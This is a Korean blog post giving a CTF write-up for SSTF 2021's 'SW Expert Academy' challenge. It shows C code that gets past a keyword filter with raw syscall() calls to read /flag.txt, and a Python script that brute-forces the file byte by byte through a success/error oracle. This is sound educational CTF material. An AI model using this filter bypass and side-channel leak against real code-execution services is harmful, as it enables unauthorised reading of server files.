Sechack

SSTF 2021 - SW Expert Academy 풀이 본문

CTF

SSTF 2021 - SW Expert Academy 풀이

Sechack 2021. 8. 17. 17:30
반응형

 

사이트 드가보면 알고리즘 문제 풀라고 한다. 그래서 알고리즘 문제인줄 알았는데

 

 

 

소스코드에 주석으로 달린걸 보면 알고리즘 문제가 아니다. 플래그가 /flag.txt파일에 있다고 한다. 우리가 코드를 입력하면 그게 컴파일되고 서버에서 실행되니까 C언어를 이용해서 플래그를 가져오는 문제임을 짐작할 수 있다. 하지만 system, execve, open, read등 os command 실행이나 orw를 진행하기 위한 함수들은 키워드 필터링이 되어있었다. 하지만 이것은 seccomp같이 system call자체를 필터링하는게 아니라 단순 키워드 필터링이므로 키워드만 안넣으면 된다. C언어의 syscall함수는 필터링되지 않으므로 그걸 사용하면 원하는 system call을 호출할 수 있게 된다. 그래서 다풀었다 생각하고 execve system call로 리버스 쉘 맺으려는데 잘 안되고 로컬에서 서버열고 nc로 파일 전송하려해도 잘 안되길래 다른방법을 찾아야했다.

 

 

 

먼저 정상적인 C언어 코드를 보내서 코드가 서버에서 정상실행 될경우에는 이러한 팝업창을 띄운다.

 

 

 

그리고 코드에 무언가 에러가 발생했을때는 이런 팝업창을 띄우는데 이게 main함수의 return값으로 결정되는것 같았다. 우리는 main함수 중간에 코드를 끼워넣는것이므로 우리가 return -1;을 전송하면 맨 밑에 디폴트로 들어간 return 0;이 실행되기전에 먼저 실행되기때문에 main함수는 -1을 반환하게 된다. 테스트 결과 main함수의 반환값이 0일경우에만 정상종료되었다고 판단하는것 같았다.

 

 

unsigned char buf[100] = { 0, };

syscall(2, "/flag.txt", 0, 0);
syscall(0, 3, buf, 100);

if(buf[0] == 'S')
{
    return 0;
}
else
{
    return -1;
}

 

먼저 이렇게 코드를 작성하고 보내보면 코드가 정상적으로 실행되었다는 팝업창이 뜬다.

 

 

unsigned char buf[100] = { 0, };

syscall(2, "/flag.txt", 0, 0);
syscall(0, 3, buf, 100);

if(buf[0] == 'A')
{
    return 0;
}
else
{
    return -1;
}

 

 

하지만 플래그의 맨 앞글자인 S가 아닌 다른 문자로 바꾸면 if문이 실행되지 않으므로 return -1;을 하게되는데 이러면 에러가 났다는 팝업창이 뜨게 된다. 따라서 이거를 이용해서 한문자씩 brute force를 날려서 알아내면 된다. 아래는 전체 페이로드이다.

 

 

import requests

URL = "http://swexpertacademy.sstf.site/code"

s = requests.Session()

code = '''
unsigned char buf[100] = { 0, };

syscall(2, "/flag.txt", 0, 0);
syscall(0, 3, buf, 100);

if(buf[%d] == %d)
{
    return 0;
}
else
{
    return -1;
}
'''

flag = ""
i = 0

while(1):
    if "}" in flag:
        print(flag)
        exit()
    for j in range(33, 126):
        sendcode = code % (i, j)
        send = {"code": sendcode}
        res = s.post(URL, data=send)
        print(res.text)
        print(flag)

        if "[false,false,false]" in res.text:
            flag += chr(j)
            break
    i += 1

 

 

이게 정상적으로 실행되었다는 팝업창이 뜰때는 res.text에 접근해보면 [false, false, false]를 받아오길래 이걸로 if문 체크 해줬다.

 

 

 

사이트에도 명시되어있듯이 gcc를 사용해서 컴파일을 한 뒤 바이너리를 실행한다. 그렇기 때문에 일부러 문법 오류를 내면 gcc로 컴파일할때 에러난게 그대로 팝업창으로 뜬다. 아무튼 컴파일 시간과 바이너리 실행하는 시간이 합해져서 그런지 brute force가 매우 오래걸렸다. 처음에는 속도보고 thread를 쓰려고 했지만 10개만 생성해도 응답을 못받아오길래 그냥 thread안쓰고 매우 오랜시간 기다려서 플래그를 얻었다.

 

 

 

 

이번 SSTF는 너무 어려웠다...ㅠㅠ 이거 한문제 빼고 나머지는 손도 못댔다... 나도 빨리 실력 늘려서 리얼월드 해서 CVE도 따고 데프콘이나 0CTF, 코드게이트, SSTF같이 이름있는 CTF에서도 활약하고싶다.

반응형

'CTF' 카테고리의 다른 글

FwordCTF 2021 - Blacklist Revenge 풀이  (0) 2021.08.28
corCTF 2021 - CShell 풀이  (0) 2021.08.22
제 23회 해킹캠프 CTF write up  (2) 2021.08.15
redpwnCTF 2021 - simultaneity  (0) 2021.07.11
HSCTF 8 - House of Sice 풀이  (0) 2021.06.20
Comments